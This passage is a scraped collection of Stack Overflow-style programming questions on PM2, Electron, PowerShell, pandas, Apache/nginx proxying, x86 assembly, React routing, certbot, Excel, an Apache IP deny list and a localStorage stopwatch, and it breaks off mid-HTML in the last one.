Let me know if any other info required.


问:
Warning with PM2
I'm using the below command to launch my "next js" website.

```<code>pm2 start npm --name "website" -- start
</code>```

When I'm running the command sudo pm2 list it's not showing "website" in the list, instead it's showing the below message:

```<code>Current process list running is not in sync with the saved list. App website differs. Type 'pm2 save' to synchronize.
</code>```

I dint' understand what does "App website differs" mean?

Title: Warning with PM2

Body:
I'm using the below command to launch my "next js" website.

pm2 start npm --name "website" -- start

When I'm running the command sudo pm2 list it's not showing "website" in the list, instead it's showing the below message:

Current process list running is not in sync with the saved list. App website differs. Type 'pm2 save' to synchronize.

I dint' understand what does "App website differs" mean?


问:
Cordova electron and SQLCipher integration
I am trying to run my Cordova React app on Mac using cordova-electron Cordova Electron and journeyapps/node-sqlcipher.

I am using these versions:

```<code>"cordova-electron": "^3.1.0",
"@journeyapps/sqlcipher": "^5.3.1"
</code>```

When I want to access @journeyapps/sqlcipher using require I am getting the following error:

```<code>window.require('@journeyapps/sqlcipher').verbose();
</code>```

Error:
Uncaught (in promise) TypeError: window.require is not a function

When I use:

```<code>"cordova-electron": "^1.1.1",
"@journeyapps/sqlcipher": "^4.1.0"
</code>```

everything is working okay.

I read this article: https://github.com/reZach/secure-electron-template/blob/master/docs/newtoelectron.md but I am not sure if this example can help solve my issue.
I also read this article about removing nodeIntegration completely: https://github.com/electron/electron/issues/23506.

My current browserWindow settings:

```<code>{
    "browserWindow": {
        "width": 1280,
        "height": 768,
        "webPreferences": {
            "nodeIntegration": true,
        }
    }
}
</code>```

Can someone help me with this issue or has working solution?

Thanks

Body:
I am trying to run my Cordova React app on Mac using cordova-electron Cordova Electron and journeyapps/node-sqlcipher.

I am using these versions:

"cordova-electron": "^3.1.0",
"@journeyapps/sqlcipher": "^5.3.1"

When I want to access @journeyapps/sqlcipher using require I am getting the following error:

window.require('@journeyapps/sqlcipher').verbose();

Error:
Uncaught (in promise) TypeError: window.require is not a function

When I use:

"cordova-electron": "^1.1.1",
"@journeyapps/sqlcipher": "^4.1.0"

everything is working okay.

I read this article: https://github.com/reZach/secure-electron-template/blob/master/docs/newtoelectron.md but I am not sure if this example can help solve my issue.
I also read this article about removing nodeIntegration completely: https://github.com/electron/electron/issues/23506.

My current browserWindow settings:

{
    "browserWindow": {
        "width": 1280,
        "height": 768,
        "webPreferences": {
            "nodeIntegration": true,
        }
    }
}

Can someone help me with this issue or has working solution?

Thanks


问:
Subscribe Powershell Information, Warning and Error stream AddData event
I'm building a wrapper around PowerShell scripts to handle logging in one unified way. The idea is to intercept messages from information/warning/error streams and log them in chronological order using different sinks (console/file/db etc). For that purpose, I'd like to utilize events that occur when some data is added to a corresponding stream. That's where I'm now:

```<code>$ps = [PowerShell]::Create("CurrentRunspace")
$ps.AddScript({
    Write-Information 'Information'
    Write-Warning 'Warning'
    Write-Error 'Error'
    exit -1
}) # in reality here should be script that is wrapped

$output = [System.Management.Automation.PSDataCollection[object]]::new()
$ps.Streams.Information.Add_DataAdded({
    # $output.Add($_) is for example, in reality, any handler could be added
    $ps.Streams.Information.ReadAll().ForEach{ $output.Add($_) }
})
$ps.Streams.Warning.Add_DataAdded({
    # $output.Add($_) is for example, in reality, any handler could be added
    $ps.Streams.Warning.ReadAll().ForEach{ $output.Add($_) }
})
$ps.Streams.Error.Add_DataAdded({
    # $output.Add($_) is for example, in reality, any handler could be added
    $ps.Streams.Error.ReadAll().ForEach{ $output.Add($_) }
})

# run script
$results = $ps.Invoke()
$exitCode = $LASTEXITCODE

# these lines are just for the test
Write-Host $exitCode
Write-Host "$([string]::Join(', ', $output))"
</code>```

Expected content of $output:

```<code>-1
Information
Warning
Error
</code>```

Actual content of $output:

```<code>-1
Error
</code>```

Do you guys know why a subscription to the Warning and Information DataAdded event doesn't work?

Body:
I'm building a wrapper around PowerShell scripts to handle logging in one unified way. The idea is to intercept messages from information/warning/error streams and log them in chronological order using different sinks (console/file/db etc). For that purpose, I'd like to utilize events that occur when some data is added to a corresponding stream. That's where I'm now:

$ps = [PowerShell]::Create("CurrentRunspace")
$ps.AddScript({
    Write-Information 'Information'
    Write-Warning 'Warning'
    Write-Error 'Error'
    exit -1
}) # in reality here should be script that is wrapped

$output = [System.Management.Automation.PSDataCollection[object]]::new()
$ps.Streams.Information.Add_DataAdded({
    # $output.Add($_) is for example, in reality, any handler could be added
    $ps.Streams.Information.ReadAll().ForEach{ $output.Add($_) }
})
$ps.Streams.Warning.Add_DataAdded({
    # $output.Add($_) is for example, in reality, any handler could be added
    $ps.Streams.Warning.ReadAll().ForEach{ $output.Add($_) }
})
$ps.Streams.Error.Add_DataAdded({
    # $output.Add($_) is for example, in reality, any handler could be added
    $ps.Streams.Error.ReadAll().ForEach{ $output.Add($_) }
})

# run script
$results = $ps.Invoke()
$exitCode = $LASTEXITCODE

# these lines are just for the test
Write-Host $exitCode
Write-Host "$([string]::Join(', ', $output))"

Expected content of $output:

-1
Information
Warning
Error

Actual content of $output:

-1
Error

Do you guys know why a subscription to the Warning and Information DataAdded event doesn't work?


问:
I want to label my pandas dataframe groups grouped by column "C" with a string from column "A" where the value in Column "B" matches a specific string
I have a dataset of questions as a pandas dataframe, these questions are all labeled with an "AnswerSetID" corresponding to one respondee (So, the set of questions answered by on respondee). One of the questions is "What is your age?". Now I want to label all questions from the same "AnswerSetID" with the Age found in that group, so I can go on to more easily filter the answers by age. The age is found as the value "AnswerText" in the row where "QuestionText" equals "What is your Age?"

I tried using nested lambda functions, the logic being that for each row in each group, I check all rows in the group and look for a match in "QuestionText":

```<code>group = df.groupby("AnswerSet")

    labels = group.apply(lambda x: x.apply(lambda y: y['AnswerNumeric'] if y['QuestionText'] == "What is your Age?" else None, axis=1))

    df['Age'] = df['AnswerSetID'].map(labels)
</code>```

The code runs, but the labels are all NaN. Any help would be greatly appreciated!

Body:
I have a dataset of questions as a pandas dataframe, these questions are all labeled with an "AnswerSetID" corresponding to one respondee (So, the set of questions answered by on respondee). One of the questions is "What is your age?". Now I want to label all questions from the same "AnswerSetID" with the Age found in that group, so I can go on to more easily filter the answers by age. The age is found as the value "AnswerText" in the row where "QuestionText" equals "What is your Age?"

I tried using nested lambda functions, the logic being that for each row in each group, I check all rows in the group and look for a match in "QuestionText":

group = df.groupby("AnswerSet")

    labels = group.apply(lambda x: x.apply(lambda y: y['AnswerNumeric'] if y['QuestionText'] == "What is your Age?" else None, axis=1))

    df['Age'] = df['AnswerSetID'].map(labels)

The code runs, but the labels are all NaN. Any help would be greatly appreciated!


问:
apache proxy in front of nginx gives 417 server error
I've got on one server an apache and nginx webserver.
The apache is listening on port 80 and nginx on 8080

I also have a PHP Curl script that run on apache which should call a REST API on nginx.
This is working for GET, but not for PUT or POST

The apache is working as proxy to route a domain through the nginx webserver.

This is the config for the proxy to nginx

```<code>SSLCipherSuite EECDH+AESGCM:EDH+AESGCM:AES256+EECDH:ECDHE-RSA-AES128-SHA:DHE-RSA-AES128-GCM-SHA256:AES256+EDH:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-SHA384
SSLProtocol All -SSLv2 -SSLv3
SSLCompression off
SSLHonorCipherOrder on

SetEnvIf Host "^(.*)$" THE_HOST=$1
RequestHeader setifempty X-Forwarded-Proto https
RequestHeader setifempty X-Forwarded-Host %{THE_HOST}e
ProxyAddHeaders Off

ProxyPassMatch (.*)(\/websocket)$ "ws://127.0.0.1:8080/$1$2"
ProxyPass / "http://127.0.0.1:8080/"
ProxyPassReverse / "http://127.0.0.1:8080/"
</code>```

Nginx is configured for http 1.1

```<code>location /socket.io {
                proxy_http_version 1.1;
}
</code>```

my problem now is, that the POST or PUT from my PHP CURL gives me a 417 error

I tried several settings for my apache, but nothing is really working...
First I tried to set "Except:" Header to my curl request, which is not working
Then i tried which are also not working:

```<code>curl_setopt($this->cr, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1);
or
curl_setopt($this->cr, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);
</code>```

How can I configure my apache webserver/proxy that he is communicating to my nginx well?

Thanks,
Tobi

Body:
I've got on one server an apache and nginx webserver.
The apache is listening on port 80 and nginx on 8080

I also have a PHP Curl script that run on apache which should call a REST API on nginx.
This is working for GET, but not for PUT or POST

The apache is working as proxy to route a domain through the nginx webserver.

This is the config for the proxy to nginx

SSLCipherSuite EECDH+AESGCM:EDH+AESGCM:AES256+EECDH:ECDHE-RSA-AES128-SHA:DHE-RSA-AES128-GCM-SHA256:AES256+EDH:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-SHA384
SSLProtocol All -SSLv2 -SSLv3
SSLCompression off
SSLHonorCipherOrder on

SetEnvIf Host "^(.*)$" THE_HOST=$1
RequestHeader setifempty X-Forwarded-Proto https
RequestHeader setifempty X-Forwarded-Host %{THE_HOST}e
ProxyAddHeaders Off

ProxyPassMatch (.*)(\/websocket)$ "ws://127.0.0.1:8080/$1$2"
ProxyPass / "http://127.0.0.1:8080/"
ProxyPassReverse / "http://127.0.0.1:8080/"

Nginx is configured for http 1.1

location /socket.io {
                proxy_http_version 1.1;
}

my problem now is, that the POST or PUT from my PHP CURL gives me a 417 error

I tried several settings for my apache, but nothing is really working...
First I tried to set "Except:" Header to my curl request, which is not working
Then i tried which are also not working:

curl_setopt($this->cr, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1);
or
curl_setopt($this->cr, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);

How can I configure my apache webserver/proxy that he is communicating to my nginx well?

Thanks,
Tobi


问:
Multiplying each buffer string in x86
I have a part of code where I need to multiply number from 0-9 and print it out, but I do it by taking one integer at a time and multiplying it by 4 this time, but I don't know what to do when after multiplying I get two digit number. I can only print the mod of it. please help!!!!

Someone said to go to the end of a buffer but I also don't know how to do that...

```<code>work:
    MOV dl, [si]

    sub dl,48
    mov bl,dl
    mov al,4 ; this can be changed from 0-9
    mul bl
    mov ah,2
    mov dl,al

    count:
    cmp dl,09H     ;compares with 9
    jbe moveon
    ja ifmorethanten

ifmorethanten:

    mov ax,dx

    mov bl, 10
    div bl         ;al=ax/bl  ah=ax%bl
    mov dl, al

    cmp dl, 09H
    jbe moveon
    ja ifmorethanten

    add dl,48
    push ax

    mov ah,02h
    int 21h

    pop ax
    mov dl, ah

moveon:
    MOV [di], dl
    INC si ;moving on to another buffer's integer
    INC di ;ignore it I put the number into another buffer here
    LOOP    work
</code>```

Maybe I should do it somehow different please help me!!!

Title: Multiplying each buffer string in x86

Body:
I have a part of code where I need to multiply number from 0-9 and print it out, but I do it by taking one integer at a time and multiplying it by 4 this time, but I don't know what to do when after multiplying I get two digit number. I can only print the mod of it. please help!!!!

Someone said to go to the end of a buffer but I also don't know how to do that...

work:
    MOV dl, [si]

    sub dl,48
    mov bl,dl
    mov al,4 ; this can be changed from 0-9
    mul bl
    mov ah,2
    mov dl,al

    count:
    cmp dl,09H     ;compares with 9
    jbe moveon
    ja ifmorethanten

ifmorethanten:

    mov ax,dx

    mov bl, 10
    div bl         ;al=ax/bl  ah=ax%bl
    mov dl, al

    cmp dl, 09H
    jbe moveon
    ja ifmorethanten

    add dl,48
    push ax

    mov ah,02h
    int 21h

    pop ax
    mov dl, ah

moveon:
    MOV [di], dl
    INC si ;moving on to another buffer's integer
    INC di ;ignore it I put the number into another buffer here
    LOOP    work

Maybe I should do it somehow different please help me!!!


问:
Alpine.js x-model not working on dynamically-populated select
I have two arrays of objects: answers and outcomes. The answer objects have an id referencing the outcome that should be associated with it (ans.outcome_id).

The first select field, populated with an x-for for the options, never selects the right one for each answer.

The second select field was hardcoded just to test whether x-model worked as desired (which it does) if I didn't use an x-for to render the outcome options. I just cannot use it since I want the user to be able to edit the outcome data elsewhere on the form.

```<code><div x-data="{
  outcomes : [
    {
      id: 99,
      title: 'Something'
    },
    {
      id: 199,
      title: 'Something else'
    }
  ],
  answers: [
    {
      outcome_id: 99,
      answer: 'Answer 1',
    },
    {
      outcome_id: 99,
      answer: 'Answer 2',
    },
    {
      outcome_id: 199,
      answer: 'Answer 3'
    }
  ]
}">

  <template x-for="(ans, i) in answers" :key="i">
    <div style="margin-bottom: 10px;">
      <select x-model="ans.outcome_id">
        <template x-for="oc in outcomes">
          <option :value="oc.id" x-text="oc.title"></option>
        </template>
      </select>
      <select x-model="ans.outcome_id">
          <option value="99">Something</option>
          <option value="199">Something Else</option>
      </select>
      <span x-text="ans.answer"></span>
    </div>
  </template>
</div>
</code>```

I have tried several variations on the outcomes x-for. The codepen for the snippet above is at https://codepen.io/jeff-crosby/pen/bGKxLB. You can see that the first select should be showing "Something Else" for the last answer, but it doesn't.

Body:
I have two arrays of objects: answers and outcomes. The answer objects have an id referencing the outcome that should be associated with it (ans.outcome_id).

The first select field, populated with an x-for for the options, never selects the right one for each answer.

The second select field was hardcoded just to test whether x-model worked as desired (which it does) if I didn't use an x-for to render the outcome options. I just cannot use it since I want the user to be able to edit the outcome data elsewhere on the form.

  <template x-for="(ans, i) in answers" :key="i">

      <select x-model="ans.outcome_id">
        <template x-for="oc in outcomes">
          <option :value="oc.id" x-text="oc.title"></option>
        </template>
      </select>
      <select x-model="ans.outcome_id">
          <option value="99">Something</option>
          <option value="199">Something Else</option>
      </select>

  </template>

I have tried several variations on the outcomes x-for. The codepen for the snippet above is at https://codepen.io/jeff-crosby/pen/bGKxLB. You can see that the first select should be showing "Something Else" for the last answer, but it doesn't.


问:
page reloads in every link click instead of re-render matched component - react
I'm creating a website. I wanna use routes logic based on this project https://github.com/quintuslabs/fashion-cube. But when I click to my routes, page reloads, even if I used Link from react-router-dom instead of anchor tag. So, I have StaffRoutes.js:

```<code>var staffRoutes = [
    {
        path: "/members",
        name: "Members",
        component: MemberContainer,
        layout: BaseLayout,
        exact: true
    },
    {
        path: "/teachers",
        name: "Teachers",
        component: TeacherContainer,
        layout: BaseLayout,
        ...
    }]

export default staffRoutes
</code>```

and I gathered all routes into one js file:

```<code>import React, { Component } from "react";
import {
  BrowserRouter as Router,
  Redirect,
  Route,
  Switch
} from "react-router-dom";
import Login from "../views/login";
import staffRoutes from "./StaffRoutes";

const PrivateRouter = ({ component, ...options }) => {
  const token = sessionStorage.getItem("token");
  const finalComponent =
    token ? (
      <Route {...options} component={component} />
    ) : (
      <Redirect to="/login" />
    );

  return finalComponent;
};

<Router>
    <Switch>
       {staffRoutes.map((route, key) => {
          return (
            <PrivateRouter
                path={route.path}
                key={key}
                exact={route.exact}
                component={props => {
                    return (
                      <route.layout {...props}>
                        <route.component {...props} />
                    </route.layout>
                    );
                  }}/>);
                   })}

             <Route Redirect to="/login" exact component={Login} />
    </Switch>
 </Router>
</code>```

My BaseLayout is:

```<code><div className="main-content">
     <SidebarWrapper />
      <div className="home-section">
            <div className="home-content">
                 <Header />
             </div>
            <div>
                    {this.props.children}
             </div>
      </div>
</div>
</code>```

I added every routes with Link in sidebar. My Sidebar is:

```<code>import React from "react";
import { Link } from "react-router-dom";

const Admin = () => {

  return (
    <>

          <ul className="sub-menu">

            <li>
              <Link to="/members">Members</Link>
            </li>
            <li>
              <Link to="/teachers">Teachers</Link>
            </li>
            <li>
              <Link to="/departments">Departments</Link>
            </li>
          </ul>
    </>
  );
};
</code>```

When I click to links it reloads full page, instead of just re-rendering matched component. I think the problem is in

```<code><route.layout {...props}>
    <route.component {...props} />
</route.layout>
</code>```

But I can't figure it out. I want page re-renders only matched component, not reload full page. How to solve this issue? Thanks in advance.

My project settings are: react: 17.0.2, react-router-dom: 5.3.0

Body:
I'm creating a website. I wanna use routes logic based on this project https://github.com/quintuslabs/fashion-cube. But when I click to my routes, page reloads, even if I used Link from react-router-dom instead of anchor tag. So, I have StaffRoutes.js:

var staffRoutes = [
    {
        path: "/members",
        name: "Members",
        component: MemberContainer,
        layout: BaseLayout,
        exact: true
    },
    {
        path: "/teachers",
        name: "Teachers",
        component: TeacherContainer,
        layout: BaseLayout,
        ...
    }]

export default staffRoutes

and I gathered all routes into one js file:

import React, { Component } from "react";
import {
  BrowserRouter as Router,
  Redirect,
  Route,
  Switch
} from "react-router-dom";
import Login from "../views/login";
import staffRoutes from "./StaffRoutes";

const PrivateRouter = ({ component, ...options }) => {
  const token = sessionStorage.getItem("token");
  const finalComponent =
    token ? (
      <Route {...options} component={component} />
    ) : (
      <Redirect to="/login" />
    );

  return finalComponent;
};

<Router>
    <Switch>
       {staffRoutes.map((route, key) => {
          return (
            <PrivateRouter
                path={route.path}
                key={key}
                exact={route.exact}
                component={props => {
                    return (
                      <route.layout {...props}>
                        <route.component {...props} />
                    </route.layout>
                    );
                  }}/>);
                   })}

             <Route Redirect to="/login" exact component={Login} />
    </Switch>
 </Router>

My BaseLayout is:

     <SidebarWrapper />

                    {this.props.children}

I added every routes with Link in sidebar. My Sidebar is:

import React from "react";
import { Link } from "react-router-dom";

const Admin = () => {

  return (
    <>

              <Link to="/members">Members</Link>

              <Link to="/teachers">Teachers</Link>

              <Link to="/departments">Departments</Link>

    </>
  );
};

When I click to links it reloads full page, instead of just re-rendering matched component. I think the problem is in

<route.layout {...props}>
    <route.component {...props} />
</route.layout>

But I can't figure it out. I want page re-renders only matched component, not reload full page. How to solve this issue? Thanks in advance.

My project settings are: react: 17.0.2, react-router-dom: 5.3.0


问:
format pythons lists automatically
I have a HUGE (like more than 1000 lines) amount of data that needs to be put into a list to be useful for my code. I want to automatize the formation. This is what my data looks like:

```<code>4261
6778
1531
2914
2102
4098
2451
1219
6488
3941
2158
</code>```

and I need it to look somewhat like this:

```<code>var = ['4261', '6778', '1531', '2914', '2102', '4098', '2451', '1219', '6488', '3941', '2158']
</code>```

how is it possible to make it automatically in python?

if isn't possible in python, is there any language that works better for this kind of work?

Title: format pythons lists automatically

Body:
I have a HUGE (like more than 1000 lines) amount of data that needs to be put into a list to be useful for my code. I want to automatize the formation. This is what my data looks like:

4261
6778
1531
2914
2102
4098
2451
1219
6488
3941
2158

and I need it to look somewhat like this:

var = ['4261', '6778', '1531', '2914', '2102', '4098', '2451', '1219', '6488', '3941', '2158']

how is it possible to make it automatically in python?

if isn't possible in python, is there any language that works better for this kind of work?


问:
Google firestore can't set Default GCP resource location
I am trying to initialise a Firestore project and am getting the following error from firebase init firestore:

"It looks like you haven't used Cloud Firestore in this project before".

I have run the command using an existing project in which I have set up a working Firestore through the web interface (I am able to add documents to it).

I've also tried creating a new project through the CLI but I get the same error.

I have successfully run firebase init functions and firebase init emulators but can't get firestore to initialise.

This looks like the same problem described in this post and indeed in the settings page, "Default GCP resource location" appears to be "Not yet selected".

However, when I click on the pencil to edit the value, the field has a (greyed-out) value of "eur3 (europe west)".

It's not clear whether this value has actually been set or not as it is supposed not to be editable once set. In any case, I can't initialise my project with Firestore.


问:
Run certbot manual with DNS challenge
I have installed certbot 0.40.0 and i want to generate manually a certificate running a DNS challenge.

```<code>certbot certonly -d DOMAIN --manual --prefered-challenge DNS
</code>```

This used to work before but now i get the following message.

```<code>certbot: error: unrecognized arguments: --prefered-challenges dns
</code>```

Is their a way to select the challenge you want to run?

Title: Run certbot manual with DNS challenge

Body:
I have installed certbot 0.40.0 and i want to generate manually a certificate running a DNS challenge.

certbot certonly -d DOMAIN --manual --prefered-challenge DNS

This used to work before but now i get the following message.

certbot: error: unrecognized arguments: --prefered-challenges dns

Is their a way to select the challenge you want to run?


问:
How can I convert a Web Application with multiple servlet contexts to Spring Boot using embedded Tomcat?
I need to convert an old web application containing multiple tomcat contexts into a Spring Boot application that utilizes Embedded Tomcat.

The following is the server.xml file defining the contexts:

Is there a way in which I can configure a Spring Boot application in order for it to contain all of these contexts?

I've seen that it's possible to configure a context by overriding methods of the TomcatServletWebServerFactory, is there any method of that class I can override to define more than one context?


问:
Skipping Empty rows when Using Fill Trend In Excel
Scenario: I have a dataset with columns representing years and rows representing variables. I want to do a linear interpolation fill but skipping empty rows.

Dataset Example:

```<code>Model_name Scenario Region Variable 1990 1991 1992 1993 1994 1995 1996 1997 1998 1999 2000
Model A    Test1    1      Price
Model A    Test1    2      Price                              13                       20
Model A    Test1    3      Price
Model A    Test2    1      Price
Model A    Test2    2      Price
Model A    Test2    3      Price      2                        5                       17
Model B    Test1    1      Price      1   6     7    9   14   15   17   18   20   26   30
Model B    Test1    2      Price
Model B    Test1    3      Price      8                       22
</code>```

Objective: From the dataset, I am using the Fill Growth Trend in Excel to fill missing variables in rows where there are variables (e.g. values between 13 and 20 in row 3). I am only trying to fill cells in rows with data. Unfortunately, if I select the whole dataset, it fills all rows, and if I filter by only the rows with data, the Fill Series option becomes unavailable.

Question: Is there a way to apply the Fill Series only on rows with data without having to manually do it row by row?

Body:
Scenario: I have a dataset with columns representing years and rows representing variables. I want to do a linear interpolation fill but skipping empty rows.

Dataset Example:

Model_name Scenario Region Variable 1990 1991 1992 1993 1994 1995 1996 1997 1998 1999 2000
Model A    Test1    1      Price
Model A    Test1    2      Price                              13                       20
Model A    Test1    3      Price
Model A    Test2    1      Price
Model A    Test2    2      Price
Model A    Test2    3      Price      2                        5                       17
Model B    Test1    1      Price      1   6     7    9   14   15   17   18   20   26   30
Model B    Test1    2      Price
Model B    Test1    3      Price      8                       22

Objective: From the dataset, I am using the Fill Growth Trend in Excel to fill missing variables in rows where there are variables (e.g. values between 13 and 20 in row 3). I am only trying to fill cells in rows with data. Unfortunately, if I select the whole dataset, it fills all rows, and if I filter by only the rows with data, the Fill Series option becomes unavailable.

Question: Is there a way to apply the Fill Series only on rows with data without having to manually do it row by row?


问:
Using Make for live Tableau Dashboards
I hope you are all well.

I am a data analyst for a UK based property investment company. I have been doing research into methods for setting up a live dashboard, linking a live feed of our CRM data to my analytics software Tableau. And so far, Make appears to be the most promising SaaS that offers this capability.

We use Pipedrive as our main CRM and my goal is to create a live dashboard on Tableau that updates every few minutes automatically. In other words, I want my Tableau dashboard to automatically reflect any changes made to deals or any deals which are created/deleted in real time.

I am very good with analytics softwares like Tableau and PowerBI, but beyond basic SQL, I have very limited coding knowledge.

I have been reading reviews and watching many how-to videos related to Make, and I must say it looks very impressive. But before I delve further and convince my directors to purchase a subscription, I want to be sure about a few things:

Is it definitely possible to facilitate a live feed of our Pipedrive data to a live Tableau dashboard?

If so, how is this done?

What sort of support does Make offer in terms of help and technical support?

Further from the above, what other features of Make might appeal to us?

Thanks in advance.

Title: Using Make for live Tableau Dashboards


问:
Console doesn't print correct the characters using Python
I wanted to ask why this feature doesn't print characters correctly in windows cosnole prompt:

This is a part of Python code:

```<code>def sendRead(cmd, step):

    cmd += "\r"

    print("Cmd Sent", step, ":", cmd)
    print("Cmd Len :", s.write(cmd.encode()))
    print("TXD Buffer :", convStH(cmd))

    print("-----")

    r = s.read(100)
    print("RXD Len :", len(r))
    print("RXD Buffer :", convBtH(r))
    #print(r)
    r = r.decode("utf-8")
    #r = re.sub("\r\n*", "", r)
    #print("Received", step, ":", r, "\n")
    print("Received %s : %s\n" % (step, r))

    s.flushInput()
</code>```

And this is a part of the output result on windows's console:

```<code>Cmd Sent 1 : AT
Cmd Len : 3
TXD Buffer : 41 54 0D
-----
RXD Len : 9
RXD Buffer : 41 54 0D 0D 0A 4F 4B 0D 0A
b'AT\r\r\nOK\r\n'
Received 1 : AT
OK

Received 1 : AT
OK

Cmd Sent 2 : ATD+393911615126;
Cmd Len : 18
TXD Buffer : 41 54 44 2B 33 39 33 39 31 31 36 31 35 31 32 36 3B 0D
-----
RXD Len : 18
RXD Buffer : 41 54 44 2B 33 39 33 39 31 31 36 31 35 31 32 36 3B 0D
b'ATD+393911615126;\r'
 eceived 2 : ATD+393911615126;

Received 2 : ATD+393911615126;
</code>```

As you can see, the first letter "R" of the following print is missing: " eceived 2 : ATD+393911615126;" while the second one is ok.

Why does the first function behave like this and doesn't show me the letter "R" as it should while the second one prints everything correctly?

PS: I use Python 3.10.1

Thanks!

I except that someone explain to me why the first Python's function doesn't work properly.

Body:
I wanted to ask why this feature doesn't print characters correctly in windows cosnole prompt:

This is a part of Python code:

def sendRead(cmd, step):

    cmd += "\r"

    print("Cmd Sent", step, ":", cmd)
    print("Cmd Len :", s.write(cmd.encode()))
    print("TXD Buffer :", convStH(cmd))

    print("-----")

    r = s.read(100)
    print("RXD Len :", len(r))
    print("RXD Buffer :", convBtH(r))
    #print(r)
    r = r.decode("utf-8")
    #r = re.sub("\r\n*", "", r)
    #print("Received", step, ":", r, "\n")
    print("Received %s : %s\n" % (step, r))

    s.flushInput()

And this is a part of the output result on windows's console:

Cmd Sent 1 : AT
Cmd Len : 3
TXD Buffer : 41 54 0D
-----
RXD Len : 9
RXD Buffer : 41 54 0D 0D 0A 4F 4B 0D 0A
b'AT\r\r\nOK\r\n'
Received 1 : AT
OK

Received 1 : AT
OK

Cmd Sent 2 : ATD+393911615126;
Cmd Len : 18
TXD Buffer : 41 54 44 2B 33 39 33 39 31 31 36 31 35 31 32 36 3B 0D
-----
RXD Len : 18
RXD Buffer : 41 54 44 2B 33 39 33 39 31 31 36 31 35 31 32 36 3B 0D
b'ATD+393911615126;\r'
 eceived 2 : ATD+393911615126;

Received 2 : ATD+393911615126;

As you can see, the first letter "R" of the following print is missing: " eceived 2 : ATD+393911615126;" while the second one is ok.

Why does the first function behave like this and doesn't show me the letter "R" as it should while the second one prints everything correctly?

PS: I use Python 3.10.1

Thanks!

I except that someone explain to me why the first Python's function doesn't work properly.


问:
Deny IPs from dynamically updated text file using htaccess
As I read tens of examples or stackoverflow questions and answers I can not find where I am doing wrong. My problem is that, I have a blacklist.txt file containing IPs that will be denied and periodically updated by a php file. By using apache RewriteMap for this text file, I added these commands in my httpd.conf file (by the help of include editor in my whm), added commands in htaccess file in the webroot directory. I have root privilige, using Centos 7 and Apache.

FIle "blacklist.txt" contains:

```<code>11.22.33.44 deny
555.666.777.888 deny
</code>```

This text file is in a directory /webroot/dir1/dir2/blacklist.txt

The "httpd.conf" file written:

```<code>RewriteEngine On
RewriteMap ipm txt:/webroot/dir1/dir2/blacklist.txt
</code>```

The ".htaccess" file on my webroot directory written:

```<code>RewriteCond ${ipm:%{REMOTE_ADDR}} deny [NC]
RewriteRule ^ - [R=403,L]
</code>```

Does not work as I add my own ip and another ip

additionally changed the "httpd.conf" file written:

```<code>RewriteEngine On
RewriteMap ipm "txt:/webroot/dir1/dir2/blacklist.txt"
</code>```

Does not work as I add my own ip and another ip

I tried so many things but unable to achieve deny. Is there anybody who can say what I am doing wrong.

Body:
As I read tens of examples or stackoverflow questions and answers I can not find where I am doing wrong. My problem is that, I have a blacklist.txt file containing IPs that will be denied and periodically updated by a php file. By using apache RewriteMap for this text file, I added these commands in my httpd.conf file (by the help of include editor in my whm), added commands in htaccess file in the webroot directory. I have root privilige, using Centos 7 and Apache.

FIle "blacklist.txt" contains:

11.22.33.44 deny
555.666.777.888 deny

This text file is in a directory /webroot/dir1/dir2/blacklist.txt

The "httpd.conf" file written:

RewriteEngine On
RewriteMap ipm txt:/webroot/dir1/dir2/blacklist.txt

The ".htaccess" file on my webroot directory written:

RewriteCond ${ipm:%{REMOTE_ADDR}} deny [NC]
RewriteRule ^ - [R=403,L]

Does not work as I add my own ip and another ip

additionally changed the "httpd.conf" file written:

RewriteEngine On
RewriteMap ipm "txt:/webroot/dir1/dir2/blacklist.txt"

Does not work as I add my own ip and another ip

I tried so many things but unable to achieve deny. Is there anybody who can say what I am doing wrong.


问:
how to save stop watch hours,minutes and seconds in local storage
I already save in local storage all of the values hours, minutes, seconds and milliseconds.

After the page loading, It's already got the value from local storage and it's perfectly display on the screen without any error but the main problem is that when I clicked start btn and continue btn , the counting of stop watch start from the beginning whicn mean it all starts from zero again.

My main purpose is after saving in local storage when I click start or continue btn , I want it to get and run from the value that is already stored in local storage. I am stuck for like 2 hours for this.

Javascript Code

```<code>let stopWatch = document.querySelector(".stop-watch"),
    startBtn = document.querySelector('.start'),
    pauseBtn = document.querySelector(".pause"),
    restartBtn = document.querySelector(".restart"),
    continueBtn = document.querySelector(".continue");

let [hours, mins, seconds, milliseconds] = [0, 0, 0, 0];
let displayWatch;

// reusable funtion to run watch
function startTime () {
// 10 ms === 0.1seconds
    milliseconds += 10;

    if(milliseconds === 1000){
        milliseconds = 0;
        seconds += 1;
    }

    if(seconds === 60){
        seconds = 0;
        mins += 1;
    }

    if(mins === 60){
        mins = 0;
        hours += 1;
    }

    if(hours === 60) {
        hours = 0;
    }

    let h = hours < 10 ? "0" + hours : hours;
    let m = mins < 10 ? "0" + mins : mins;
    let s = seconds < 10 ? "0" + seconds : seconds;
    let ms = milliseconds < 100 ? "0" + milliseconds : milliseconds;

    displayWatch = `${h} : ${m} : ${s} : ${ms}`;

    localStorage.setItem("saveWatch", displayWatch);
    stopWatch.textContent =  displayWatch || localStorage.getItem("saveWatch");
}
// keep track of setInterval set in global
let intervalId;
// start the watch
startBtn.addEventListener("click", () => {
    clearInterval(intervalId)
    intervalId = setInterval(startTime, 10);
})

pauseBtn.addEventListener("click", () => {
    clearInterval(intervalId);
})

restartBtn.addEventListener("click", ()=>{
    [hours, mins, seconds, milliseconds] = [0, 0, 0, 0];
    stopWatch.textContent =  `${hours}0 : ${mins}0 : ${seconds}0 : ${milliseconds}00`;
    localStorage.clear(displayWatch);
})
continueBtn.addEventListener("click", ()=> {
    //clearInterval first if not starttime will run double
    clearInterval(intervalId);
    intervalId = setInterval(startTime, 10);
})

window.addEventListener("load", () => {
    const saveWatch = localStorage.getItem("saveWatch");

    if( saveWatch){
        stopWatch.textContent = saveWatch;
    }
</code>```

HTML Code

```<code>    <div class="container">
        <h3 class="stop-watch">00 : 00 : 00 : 000</h3>

        <div class="button-container">
